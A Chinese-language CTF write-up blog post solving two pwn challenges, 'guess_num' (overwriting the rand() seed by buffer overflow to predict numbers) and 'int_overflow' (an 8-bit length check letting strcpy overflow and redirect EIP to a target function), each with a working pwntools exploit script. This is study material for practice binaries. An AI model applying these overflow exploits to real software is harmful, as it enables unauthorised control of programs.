PWN

guess_num

检查程序发现保护全部开启,于是怀疑是否为堆溢出

mark

后发现漏洞点为rand函数的随机种子可被劫持为任意数值

mark

那么,当随机种子已知,随机数可预测,这时候,有两个需要注意的点,一个是最终的检测不是把输入和随机数直接作比较(唔。。。分析飘了就有可能误判)另一个是随机数的生成除了与随机种子有关,还与libc版本有关,因此直接用windows生成随机数可能是错误的。最终的脚本为:

from pwn import *
import sys
context.log_level='debug'

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./guess_num")

payload='A'*0x20+p64(1)
sh.recvuntil("Your name:")
sh.sendline(payload)
sh.sendlineafter("number:",str(2))
sh.sendlineafter("number:",str(5))
sh.sendlineafter("number:",str(4))
sh.sendlineafter("number:",str(2))
sh.sendlineafter("number:",str(6))
sh.sendlineafter("number:",str(2))
sh.sendlineafter("number:",str(5))
sh.sendlineafter("number:",str(1))
sh.sendlineafter("number:",str(4))
sh.sendlineafter("number:",str(2))
sh.interactive()
print(sh.recv())
#随机数为:2 5 4 2 6 2 5 1 4 2

int_overflow

检查程序,只有NX保护。

mark

在程序中发现了目标函数

mark

分析程序逻辑,发现read函数没有利用点,但是在check_passwd函数中发现了strcpy函数,并将输入的passwd复制到了dest中,仅仅在一开始进行了passwd的长度过滤,但是,查看汇编码可发现存在整数溢出漏洞,验证长度是al寄存器,仅有8位,当数据超出255时,高位将被截断,例如当长度是xxxx 0000 qqqq(qqqq取0100-1000,x取任意值(事实上由于read函数限制xxxx只能取0000-0001))均可通过长度验证,因此可以顺利劫持EIP至目标函数地址。

mark

mark

mark

因此,解题脚本为

from pwn import *
import sys
context.log_level='debug'

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./int_overflow")

hack_addr=0x0804868B
payload='A'*0x14+'AAAA'+p32(hack_addr)
payload=payload.ljust(259,'A')

sh.recvuntil('Your choice:')
sh.sendline("1")
sh.recvuntil('Please input your username:')
sh.sendline("ERROR404")
sh.recvuntil('Please input your passwd:')
sh.sendline(payload)
sh.interactive()
print(sh.recv())
分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注